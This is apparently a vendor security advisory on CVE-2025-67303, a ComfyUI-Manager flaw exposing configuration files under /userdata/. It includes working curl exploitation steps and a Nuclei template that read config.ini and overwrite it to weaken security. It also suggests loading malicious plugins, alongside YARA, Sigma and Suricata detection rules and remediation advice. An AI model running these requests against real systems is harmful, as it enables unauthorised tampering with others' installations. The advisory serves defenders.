CVE-2025-67303
Executive Summary
CVE-2025-67303 is a critical vulnerability in ComfyUI-Manager versions prior to 3.38. The flaw stems from an insecure file storage location (CWE-420) that is accessible via the web interface, allowing remote unauthenticated attackers to read and overwrite configuration files and other critical data. The vulnerability has a CVSS score of 9.8 and is trivial to exploit, requiring only network access to the web interface. Public proof-of-concept code exists, and a Nuclei template is available for automated scanning. Immediate patching to version 3.38 is required.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the ComfyUI-Manager package, which is a critical component of the ComfyUI ecosystem. The insecure storage of user data files (e.g., config.ini) in a web-accessible directory (/userdata/) means that any attacker with network access can manipulate the application's configuration. This could lead to supply chain attacks if the configuration is used to load malicious models or plugins. Organizations using ComfyUI in production or CI/CD pipelines should treat this as a high-priority supply chain risk.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
The threat level is Critical due to the ease of exploitation, lack of authentication requirements, and the potential for full compromise of the application's configuration and data.
Deep Dive & Mechanics
The vulnerability exists because ComfyUI-Manager stores its configuration and user data files under the /userdata/ directory, which is served directly by the web server without proper access controls. The web interface does not restrict access to this directory, allowing any unauthenticated user to read and write files.
The core issue is a violation of the principle of least privilege and improper separation of web-accessible and non-web-accessible directories. The application should store sensitive configuration files outside the web root or implement strict authentication and authorization checks before serving them.
The Nuclei template demonstrates the exploit:
- Read: A GET request to
/userdata/ComfyUI-Manager%2Fconfig.iniretrieves the configuration file. - Write: A POST request to the same path with arbitrary content overwrites the configuration.
- Verify: A second GET request confirms the overwrite.
The URL-encoded %2F is used to bypass potential path traversal protections, but the core issue is the lack of access control on the /userdata/ endpoint.
Vulnerable vs. Patched Code
Vulnerable (pre-3.38):
The application stores files in a web-accessible directory without authentication. The web server configuration likely includes a static file handler for /userdata/ that serves all files without restriction.
# Example vulnerable configuration (conceptual)
# The web server serves /userdata/ directly
# No authentication middleware is applied to this path
Patched (3.38+): The patch moves sensitive files outside the web root or adds authentication middleware. The migration guide indicates that user data is now stored in a non-web-accessible location, and the web interface uses API endpoints with proper authentication to access it.
# Example patched configuration (conceptual)
# Files are moved to a directory outside the web root
# API endpoints with authentication are used to access data
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a vulnerable ComfyUI-Manager instance (version < 3.38) using Docker or a local installation.
- Ensure the web interface is accessible on port 8188 (default).
Exploitation Steps:
- Read Configuration:
curl -X GET http://target:8188/userdata/ComfyUI-Manager%2Fconfig.ini - Overwrite Configuration:
curl -X POST http://target:8188/userdata/ComfyUI-Manager%2Fconfig.ini \ -H "Content-Type: application/octet-stream" \ -d "[default] security_level = weak" - Verify Overwrite:
curl -X GET http://target:8188/userdata/ComfyUI-Manager%2Fconfig.ini
Advanced Exploitation:
- Modify the configuration to disable security features or load malicious plugins.
- Use the same technique to overwrite other files in
/userdata/(e.g., model lists, custom node configurations).
Blue Team
Detection:
- Monitor for GET/POST requests to
/userdata/paths, especially those containing%2Forconfig.ini. - Alert on any write operations to
/userdata/from external IPs. - Use the provided YARA and Sigma rules for file and log-based detection.
Hunting:
- Search web server logs for requests to
/userdata/with non-standard HTTP methods (POST, PUT, DELETE). - Check for unexpected changes to configuration files in the
/userdata/directory.
Containment:
- Immediately block access to
/userdata/at the web server or reverse proxy level. - Restrict network access to the ComfyUI web interface to trusted IPs only.
- Apply the patch to version 3.38 or later.
Indicators of Compromise (IOCs)
- File Paths:
/userdata/ComfyUI-Manager/config.ini/userdata/ComfyUI-Manager%2Fconfig.ini
- HTTP Requests:
- GET/POST to
/userdata/ComfyUI-Manager%2Fconfig.ini - POST with
Content-Type: application/octet-streamto/userdata/
- GET/POST to
- Log Entries:
- Web server logs showing 200 responses to
/userdata/paths from external IPs.
- Web server logs showing 200 responses to
- Configuration Changes:
- Unexpected modifications to
security_levelor other settings inconfig.ini.
- Unexpected modifications to
Detection Engineering
YARA Rule
rule CVE_2025_67303_ComfyUI_Config_Overwrite {
meta:
description = "Detects attempts to overwrite ComfyUI-Manager configuration via CVE-2025-67303"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-67303"
severity = "critical"
strings:
$config_path = "/userdata/ComfyUI-Manager%2Fconfig.ini"
$config_path2 = "/userdata/ComfyUI-Manager/config.ini"
$post_method = "POST"
$config_content = "[default]"
condition:
any of ($config_path*) and $post_method and $config_content
}
Sigma Rule
title: CVE-2025-67303 ComfyUI-Manager Configuration Overwrite
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to ComfyUI-Manager configuration file path
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-stem|contains: '/userdata/ComfyUI-Manager'
cs-uri-stem|endswith: 'config.ini'
condition: selection
falsepositives:
- Legitimate administrative actions (rare)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-67303 ComfyUI-Manager Configuration Overwrite Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/userdata/ComfyUI-Manager"; content:"config.ini"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)
Nuclei Template
id: CVE-2025-67303
info:
name: ComfyUI-Manager < 3.38 - Configuration Overwrite
author: maciejklimek
severity: critical
description: |
ComfyUI-Manager < 3.38 contains an insecure file storage vulnerability caused by storing files in an insufficiently protected location accessible via the web interface, letting remote attackers manipulate configuration and critical data, exploit requires web access.
impact: |
Remote attackers can manipulate configuration and critical data, potentially compromising application integrity and security.
remediation: |
Update to version 3.38 or later.
reference:
- https://github.com/Comfy-Org/ComfyUI-Manager/blob/main/docs/en/v3.38-userdata-security-migration.md
- https://github.com/vulhub/vulhub/blob/master/comfyui/CVE-2025-67303/README.md
- https://github.com/Comfy-Org/ComfyUI-Manager/blob/main/docs/en/v3.38-userdata-security-migration.md
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-67303
epss-score: 0.01666
epss-percentile: 0.82174
cwe-id: CWE-420
metadata:
verified: true
max-request: 3
vendor: comfy-org
product: comfyui-manager
shodan-query: http.title:"ComfyUI"
tags: cve,cve2025,comfyui,comfyui-manager,intrusive,vuln
http:
- raw:
- |
GET /userdata/ComfyUI-Manager%2Fconfig.ini HTTP/1.1
Host: {{Hostname}}
- |
POST /userdata/ComfyUI-Manager%2Fconfig.ini HTTP/1.1
Host: {{Hostname}}
Content-Type: application/octet-stream
[default]
security_level = weak
- |
GET /userdata/ComfyUI-Manager%2Fconfig.ini HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "contains_all(body_1, '[default]', 'security_level')"
- "contains(body_3, 'security_level = weak')"
- "status_code_1 == 200 && status_code_3 == 200"
condition: and
Remediation & Mitigation
Immediate Actions:
- Patch: Update ComfyUI-Manager to version 3.38 or later immediately.
- Access Control: If patching is not possible, restrict access to the
/userdata/path at the web server or reverse proxy level (e.g., using Nginxdeny allor ApacheRequire all denied). - Network Segmentation: Ensure the ComfyUI web interface is not exposed to the public internet. Use a VPN or firewall to restrict access to trusted IPs.
Long-Term Measures:
- Implement proper authentication for all administrative endpoints.
- Store sensitive configuration files outside the web root.
- Conduct regular security audits of web application file storage practices.
- Monitor for similar CWE-420 vulnerabilities in other components.
Valters IT Signature
Report generated by Valters IT DevSecOps & CTI Division. For questions, contact Secure Channels (Signal / Portal).
{/* [Security Hash: B2EFE61DD58C954C69E7981D] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.